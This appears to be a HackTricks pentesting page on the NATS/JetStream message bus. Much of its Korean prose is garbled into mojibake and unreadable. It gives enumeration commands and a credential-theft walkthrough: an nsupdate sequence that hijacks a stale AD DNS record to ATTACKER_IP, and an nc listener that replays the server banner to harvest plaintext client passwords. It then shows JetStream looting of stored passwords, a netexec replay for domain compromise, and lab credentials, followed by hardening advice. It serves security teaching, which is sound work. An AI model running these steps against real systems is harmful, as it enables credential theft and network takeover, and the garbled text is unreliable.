4222 - Pentesting NATS / JetStream

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

NATS ๋Š” ๊ฐ„๋‹จํ•œ ํ…์ŠคํŠธ ๊ธฐ๋ฐ˜ ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ณ ์„ฑ๋Šฅ ๋ฉ”์‹œ์ง€ ๋ฒ„์Šค์ž…๋‹ˆ๋‹ค: ์„œ๋ฒ„๋Š” TCP ์—ฐ๊ฒฐ ์งํ›„ INFO { ... } JSON ๋ฐฐ๋„ˆ๋ฅผ ์ „์†กํ•˜๊ณ , ํด๋ผ์ด์–ธํŠธ๋Š” CONNECT {"user":"USERNAME","pass":"PASSWORD",...} ํ”„๋ ˆ์ž„์œผ๋กœ ์‘๋‹ตํ•œ ๋’ค ์„ ํƒ์ ์œผ๋กœ PING/PUB/SUB ๋ช…๋ น์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. JetStream์€ ๋™์ผํ•œ TCP ํฌํŠธ(4222/tcp) ์œ„์— persistence primitives (Streams & Consumers)๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. TLS์™€ ์ธ์ฆ์€ ์„ ํƒ ์‚ฌํ•ญ์ด๋ฏ€๋กœ, ๋งŽ์€ ๋‚ด๋ถ€ ๋ฐฐํฌ๋Š” plaintext AUTH ๋กœ ์šด์˜๋ฉ๋‹ˆ๋‹ค.

  • ๊ธฐ๋ณธ ํฌํŠธ: 4222/tcp (ํด๋Ÿฌ์Šคํ„ฐ๋œ routes๋Š” 4223+)
  • ๊ธฐ๋ณธ ๋ฐฐ๋„ˆ ํ•„๋“œ: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeration

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

INFO ํ”„๋ ˆ์ž„์€ ์ˆ˜๋™์œผ๋กœ ๊ฐ€์ ธ์˜ฌ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

๋” ๊นŠ์€ ์ƒํ˜ธ์ž‘์šฉ์„ ์œ„ํ•ด ๊ณต์‹ CLI (Go โ‰ฅ1.21)๋ฅผ ์„ค์น˜ํ•˜์„ธ์š”:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

์ธ์ฆ ์‹คํŒจ ์‹œ ์ฆ‰์‹œ nats: Authorization Violation๊ฐ€ ๋ฐœ์ƒํ•˜๋ฏ€๋กœ, ์˜๋ฏธ ์žˆ๋Š” RPC๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด ์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช…์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

DNS/์„œ๋น„์Šค ์‚ฌ์นญ์„ ํ†ตํ•œ ์ž๊ฒฉ ์ฆ๋ช… ํƒˆ์ทจ

  • ๋ธŒ๋กœ์ปค ํ˜ธ์ŠคํŠธ๋ช…(์˜ˆ: nats-svc.domain.local)์— ๋Œ€ํ•œ ์˜ค๋ž˜๋œ AD DNS ํ•ญ๋ชฉ์„ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ๋ ˆ์ฝ”๋“œ๊ฐ€ NXDOMAIN์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ๊ธฐ๋ณธ dynamic-update ACLs ๋•๋ถ„์— ๊ถŒํ•œ์ด ๋‚ฎ์€ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๋ ˆ์ฝ”๋“œ๋ฅผ ์žฌ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐฐ๊ฒฝ์€ AD DNS Records abuse์„ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.
  • ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” IP๋กœ ํ˜ธ์ŠคํŠธ๋ช…์„ ๋“ฑ๋กํ•ฉ๋‹ˆ๋‹ค:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • ์ •์‹ ๋ฐฐ๋„ˆ๋ฅผ ํ•œ ๋ฒˆ ๋ฏธ๋Ÿฌํ•œ ๋‹ค์Œ, ์—ฐ๊ฒฐ๋˜๋Š” ๋ชจ๋“  ํด๋ผ์ด์–ธํŠธ์— ์žฌ์ƒํ•ฉ๋‹ˆ๋‹ค. NATS๋Š” ์ฒ˜์Œ ๋ณด๋Š” INFO ๋ผ์ธ์„ ์‹ ๋ขฐํ•˜๋ฏ€๋กœ, ์šฐ๋ฆฌ๋Š” ๋‹จ์ง€ ๊ทธ๊ฒƒ์„ listener๋ฅผ ํ†ตํ•ด pipeํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • ๋‚ด๋ถ€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ํ•˜์ด์žฌํ‚น๋œ ์ด๋ฆ„์„ ํ•ด์„ํ•˜์ž๋งˆ์ž, user / pass ์Œ๊ณผ ์—ฌ๋Ÿฌ ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ(ํด๋ผ์ด์–ธํŠธ ์ด๋ฆ„, Go ๋ฒ„์ „, ํ”„๋กœํ† ์ฝœ ๋ ˆ๋ฒจ)๋ฅผ ํฌํ•จํ•œ ํ‰๋ฌธ CONNECT ํ”„๋ ˆ์ž„์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. INFO ๋ฐฐ๋„ˆ ์ดํ›„์˜ ์–ด๋–ค ๊ฒƒ๋„ ํ•„์š”ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, ์‹ฌ์ง€์–ด nc๋งŒ์œผ๋กœ๋„ ๋น„๋ฐ€์„ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋” ๊ธด ์ž‘์—…์—์„œ๋Š” ๊ณต์‹ ์„œ๋ฒ„๋ฅผ ๋กœ์ปฌ์—์„œ ์‹คํ–‰ํ•˜์„ธ์š” (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE ๋กœ๊น…์€ ์ด๋ฏธ ์‚ฌ์šฉ์ž๋ช…์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค; redaction helper๋ฅผ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ Wireshark๋กœ ํŠธ๋ž˜ํ”ฝ์„ ์Šค๋‹ˆํ•‘ํ•˜๋ฉด ์ „์ฒด ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋“œ๋Ÿฌ๋‚ฉ๋‹ˆ๋‹ค.

JetStream looting & password hunting

์ผ๋‹จ ์ž๊ฒฉ ์ฆ๋ช…(์˜ˆ: Dev_Account_A)์„ ํš๋“ํ•˜๋ฉด, CLI ์ปจํ…์ŠคํŠธ๋กœ ์ €์žฅํ•ด ์žฌ์ž…๋ ฅํ•˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream ๋ฐœ๊ฒฌ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค์Œ ํŒจํ„ด์„ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming teams๋Š” ์ž์ฃผ logs.auth์™€ ๊ฐ™์€ subjects์— ์ธ์ฆ ์ด๋ฒคํŠธ๋ฅผ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž๊ฐ€ raw JSON์„ JetStream stream์— ์ €์žฅํ•˜๋ฉด, payloads์— plaintext AD usernames and passwords๊ฐ€ ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Retained secrets can then be replayed against Kerberos-only services using netexec smb DC01 -u USER -p PASS -k, enabling full domain compromise.

ํ•˜๋“œ๋‹ & ํƒ์ง€

  • Enforce TLS (tls, tls_required, or mTLS via nkey/creds). ์•”ํ˜ธํ™”๊ฐ€ ์—†์œผ๋ฉด INFO/CONNECT leaks credentials to anyone on-path.
  • Pinpoint who can update DNS โ€“ ์„œ๋น„์Šค ๋ ˆ์ฝ”๋“œ๋ฅผ ์ „๋‹ด ๊ณ„์ •์— ์œ„์ž„ํ•˜๊ณ  Event IDs 257/252๋ฅผ ๊ฐ์‚ฌํ•˜์—ฌ ์ค‘์š” ํ˜ธ์ŠคํŠธ๋ช…์„ ๋ณดํ˜ธํ•˜์„ธ์š”. scavenging alerts์™€ ๊ฒฐํ•ฉํ•ด ๋ˆ„๋ฝ๋œ broker names๊ฐ€ ์กฐ์šฉํžˆ re-claimed๋˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”.
  • Disable credential logging. subjects์— ๊ฒŒ์‹œํ•˜๊ธฐ ์ „์— secrets๋ฅผ scrubํ•˜๊ณ , JetStream retention/age ์ œํ•œ์„ ์„ค์ •ํ•˜๋ฉฐ deny_delete=false๋Š” ์‹ ๋ขฐ๋œ ์šด์˜์ž์—๊ฒŒ๋งŒ ์ ์šฉํ•˜์„ธ์š”.
  • Monitor for banner anomalies โ€“ ๋ฐ˜๋ณต๋˜๋Š” ์งง์€ ์—ฐ๊ฒฐ, ์ธ์ฆ ํƒ€์ž„์•„์›ƒ, ๋˜๋Š” ์Šน์ธ๋œ ํ…œํ”Œ๋ฆฟ๊ณผ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” INFO ๋ฐฐ๋„ˆ๋Š” spoofed servers๋ฅผ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ